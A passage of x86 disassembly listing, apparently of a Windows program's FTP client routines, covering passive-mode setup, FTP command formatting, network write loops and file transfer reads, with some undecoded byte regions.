transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj ; sub_42E5B0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_511A6C push ecx lea edx, [esp+114h+var_100] push offset dword_4474C0 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42E490 add esp, 18h test eax, eax jz loc_42E7BE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42E7AF ; default jmp off_42E7CC[eax*4] ; switch jump loc_42E648: ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474B8 ; jumptable 0042E641 case 1 mov dl, byte_4474BC mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E663: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov eax, dword_4474B0 ; jumptable 0042E641 case 2 mov cl, byte_4474B4 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E67D: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov edx, dword_4474A8 ; jumptable 0042E641 case 3 mov al, byte_4474AC mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E697: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474A0 ; jumptable 0042E641 case 4 mov dl, byte_4474A4 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j ; sub_42E5B0+CBj ... test esi, esi jz short loc_42E703 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42E7BE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42E703: ; CODE XREF: sub_42E5B0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42E870 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42E7BE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42E758 mov eax, [esi] push eax call sub_401BEF add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E758: ; CODE XREF: sub_42E5B0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42E79F mov eax, [esi] push ebx push eax call sub_42ED50 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42E79F mov ecx, [esi] push ecx call sub_401BEF add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j ; sub_42E5B0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj ; sub_42E5B0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 4 off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r dd offset loc_42E663 ; jump table for switch statement dd offset loc_42E67D dd offset loc_42E697 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42EB94 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42E8D2 cmp eax, 2 jz short loc_42E8D2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E8D2: ; CODE XREF: sub_42E870+3Aj ; sub_42E870+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42E904 cmp eax, 49h jz short loc_42E904 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E904: ; CODE XREF: sub_42E870+6Cj ; sub_42E870+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42E9E9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42E490 add esp, 0Ch test eax, eax jz loc_42EB94 lea ecx, [ebx+44h] push 28h push ecx call near ptr 77C47660h nop add esp, 8 cmp eax, ebp jz loc_42EB94 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_438232 ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 0C684D75h, 90004474h, 808419E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: sub_42E870+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_438220 ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44752C68h, 0E7E89000h, 83778083h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 4473FC68h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 9825E8h, 0FFF88300h, 0FC680A75h, 0E9004473h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h dd 0EC850FFFh, 68000000h, 4471FCh, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752468h dd 5610EB00h, 9766E857h, 0C0850000h, 1C68217Dh, 90004475h dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44750068h, 0E8905200h, 77810DEDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473F468h dd 67E89000h, 83778082h, 0E85704C4h, 9668h ; --------------------------------------------------------------------------- loc_42EB94: ; CODE XREF: sub_42E870+2Bj ; sub_42E870+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42E870 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 0D851E800h, 8390777Fh, 0C53B04C4h dd 75144689h, 73F4682Ch, 27E80044h, 90778082h, 5704C483h dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42ED92 mov ecx, eax loc_42ED92: ; CODE XREF: sub_42ED50+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_438208 sub_42ED50 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44758CBEh, 0A4A5F300h dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h dd 0F88B0000h, 7F0473E8h, 108B9077h, 5008438Bh, 14245489h dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42EF60 proc near ; CODE XREF: sub_40226Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42EF71 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF71: ; CODE XREF: sub_42EF60+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42EF8D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DF40 add esp, 0Ch jmp short loc_42EFB4 ; --------------------------------------------------------------------------- loc_42EF8D: ; CODE XREF: sub_42EF60+17j call sub_42E170 add esp, 4 cmp eax, 1 jz short loc_42EF9F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF9F: ; CODE XREF: sub_42EF60+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42EFC0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EFC0: ; CODE XREF: sub_42EF60+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42EFFF mov eax, [esi+3Ch] test eax, eax jz short loc_42EFFF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42EFFF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42EFF8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42EF60+93j mov dword ptr [esi+40h], 0 loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj ; sub_42EF60+76j ... mov eax, edi pop edi pop esi retn sub_42EF60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F040 proc near ; CODE XREF: sub_402216j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42F051 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F051: ; CODE XREF: sub_42F040+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42F06D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42F110 add esp, 0Ch jmp short loc_42F08A ; --------------------------------------------------------------------------- loc_42F06D: ; CODE XREF: sub_42F040+17j call sub_42E170 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_4381F6 ; --------------------------------------------------------------------------- loc_42F08A: ; CODE XREF: sub_42F040+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F096 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F096: ; CODE XREF: sub_42F040+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42F0CC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42F0CC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42F0CC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42F0CC: ; CODE XREF: sub_42F040+63j ; sub_42F040+6Aj ... mov eax, edi pop edi pop esi retn sub_42F040 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F110 proc near ; CODE XREF: sub_42F040+23p ; sub_42F2C0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42F12C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42F12C: ; CODE XREF: sub_42F110+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42F254 loc_42F13D: ; CODE XREF: sub_42F110+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42F17E cmp al, 0Dh jz short loc_42F17E cmp esi, 2000h jnz short loc_42F179 push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F1E1 xor esi, esi loc_42F179: ; CODE XREF: sub_42F110+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42F17E: ; CODE XREF: sub_42F110+35j ; sub_42F110+39j cmp esi, 2000h jnz short loc_42F1AC push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F201 xor esi, esi loc_42F1AC: ; CODE XREF: sub_42F110+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42F13D test esi, esi jz loc_42F254 push ebp call sub_42E170 add esp, 4 test eax, eax jnz short loc_42F221 loc_42F1DA: ; CODE XREF: sub_42F110+4Ej ; sub_42F110+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F1E1: ; CODE XREF: sub_42F110+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F201: ; CODE XREF: sub_42F110+98j call near ptr 77C1F2BCh nop mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" call near ptr 77C4186Ah nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F221: ; CODE XREF: sub_42F110+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_4381F6 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 82E890h, 108B777Fh, 0B4685752h, 0E8004475h dd 77812622h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42F254: ; CODE XREF: sub_42F110+27j ; sub_42F110+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42F110 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F2C0 proc near ; CODE XREF: sub_401BEFj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42F33B dec eax jz short loc_42F2F0 dec eax jz short loc_42F2DC loc_42F2D4: ; CODE XREF: sub_42F2C0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: sub_42F2C0+12j mov eax, [esi+14h] test eax, eax jz short loc_42F2F0 push esi push 0 push 0 call sub_42F110 add esp, 0Ch loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj ; sub_42F2C0+21j mov eax, [esi+14h] push ebx mov ebx, dword_511AD0 test eax, eax jz short loc_42F304 push eax call ebx ; free add esp, 4 loc_42F304: ; CODE XREF: sub_42F2C0+3Cj mov eax, [esi+8] push 2 push eax call sub_438292 ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_4381FC ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42F2D4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42DE00 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F33B: ; CODE XREF: sub_42F2C0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42F352 push esi mov dword ptr [esi+1Ch], 0 call sub_401BEF add esp, 4 loc_42F352: ; CODE XREF: sub_42F2C0+80j mov edx, [esi+8] push edx call sub_4381FC sub_42F2C0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0B9h, 0CEh dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F3A0: ; CODE XREF: ___:00401CF8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42F3C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F3C9: ; CODE XREF: ___:0042F3C0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F420: ; CODE XREF: ___:004016CCj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F441 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F441: ; CODE XREF: ___:0042F43Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42F45C loc_42F44F: ; CODE XREF: ___:0042F45Aj mov al, [ecx] cmp al, 20h jz short loc_42F45C mov [esi], al inc esi inc ecx dec edx jnz short loc_42F44F loc_42F45C: ; CODE XREF: ___:0042F44Dj ; ___:0042F453j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F490: ; CODE XREF: ___:00402270j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F4B9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F4B9: ; CODE XREF: ___:0042F4B0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: ___:0040227Fj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F539 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F539: ; CODE XREF: ___:0042F530j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F590: ; CODE XREF: ___:0040178Aj mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42E490 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5C0: ; CODE XREF: ___:00402220j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F5E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F5E9: ; CODE XREF: ___:0042F5E0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F640: ; CODE XREF: ___:00401677j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_447678 call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F661 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F661: ; CODE XREF: ___:0042F65Cj add edi, 44h push 22h push edi call near ptr 77C47660h nop add esp, 8 test eax, eax jnz short loc_42F677 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F677: ; CODE XREF: ___:0042F672j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42F695 loc_42F683: ; CODE XREF: ___:0042F693j mov cl, [eax] test cl, cl jz short loc_42F695 cmp cl, 22h jz short loc_42F695 mov [esi], cl inc esi inc eax dec edx jnz short loc_42F683 loc_42F695: ; CODE XREF: ___:0042F681j ; ___:0042F687j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F6C0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p ; ___:0042F953p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42F77A mov esi, [esp+14h+arg_C] mov cx, word_4476B8 cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42F72A mov byte ptr [esp+14h+arg_10], 72h loc_42F72A: ; CODE XREF: sub_42F6F0+33j cmp edi, 49h jnz short loc_42F734 mov byte ptr [esp+14h+arg_10+1], 62h loc_42F734: ; CODE XREF: sub_42F6F0+3Dj lea edx, [esp+14h+arg_10] push edx push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42F794 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: sub_42F6F0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42F78B mov ebx, dword_511A90 jmp short loc_42F794 ; --------------------------------------------------------------------------- loc_42F78B: ; CODE XREF: sub_42F6F0+91j mov edx, dword_511A90 lea ebx, [edx+20h] loc_42F794: ; CODE XREF: sub_42F6F0+57j ; sub_42F6F0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F73 add esp, 14h test eax, eax jnz short loc_42F7B7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42F82D mov ebp, dword_511AB0 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42F883 loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402216 add esp, 0Ch cmp eax, esi jl short loc_42F813 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42F7EA jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F813: ; CODE XREF: sub_42F6F0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, 